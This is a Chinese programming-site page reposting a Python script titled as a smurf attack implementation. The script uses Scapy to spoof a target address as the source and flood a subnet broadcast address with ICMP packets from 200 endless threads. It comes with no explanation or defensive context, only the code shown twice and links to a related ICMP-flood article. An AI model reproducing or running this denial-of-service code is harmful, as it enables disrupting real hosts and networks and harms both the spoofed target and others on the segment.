当前位置 : 主页 > 编程语言 > python >

使用python实现smurf攻击

来源:互联网 收集:自由互联 发布时间:2022-06-18
from scapy . all import * from time import sleep import _thread import random target = '192.168.113.100' threadnum = 200 def smurf ( target ): while True : send ( IP ( src = target , dst = "192.168.113.255" ) / ICMP (), count = 100 , verbos


from scapy.all import *
from time import sleep
import _thread
import random

target = '192.168.113.100'
threadnum = 200

def smurf(target):

while True:
send(IP(src=target, dst="192.168.113.255")/ICMP(), count=100, verbose=0)

def attack(target):

print ("Start Attack...")

for i in range(threadnum):
_thread.start_new_thread(smurf, (target, ))
while True:
sleep(1)

attack(target)



上一篇:Python使用SCAPY实现icmp flood的方法
下一篇:没有了
网友评论